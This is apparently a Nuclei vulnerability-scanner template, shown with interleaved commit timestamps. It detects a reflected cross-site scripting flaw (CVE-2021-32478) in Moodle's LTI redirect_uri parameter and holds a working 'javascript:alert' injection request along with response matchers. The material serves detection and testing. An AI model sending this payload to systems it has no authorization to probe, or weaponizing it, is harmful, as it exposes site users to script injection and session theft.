2021-04-12 18:25:06 +00:00
id : moodle-xss
info :
2022-09-21 21:42:27 +00:00
name : Moodle - Cross-Site Scripting
2021-04-12 18:25:06 +00:00
author : hackergautam
severity : medium
2022-09-21 21:42:27 +00:00
description : Moodle 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, and earlier unsupported versions contain a cross-site scripting vulnerability via the redirect_uri parameter.
2022-04-22 10:38:41 +00:00
reference :
- https://twitter.com/JacksonHHax/status/1391367064154042377
2022-09-21 21:42:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-32478
classification :
2023-03-03 15:27:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cwe-id : CWE-80
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : moodle,xss,intrusive
2021-04-12 18:25:06 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-12 18:25:06 +00:00
- method : GET
path :
- "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"
matchers-condition : and
matchers :
- type : word
part : body
words :
2021-04-13 20:45:17 +00:00
- '{{randstr}}'
- '<form action="javascript:alert'
condition : and
2021-04-12 18:25:06 +00:00
- type : status
status :
- 200
- type : word
part : header
words :
2021-07-06 06:27:15 +00:00
- "text/html"
2023-10-20 11:41:13 +00:00
# digest: 4a0a0047304502200c5950e76cfac32c79ced10a70fbb6443a5973d5e56ca6e5d213e4a6ab2fd1e0022100b03fa2043dcde4e735d41930c21a9b421b62e070410f8e525a5f22b368b82395:922c64590222798bb761d5b6d8e72950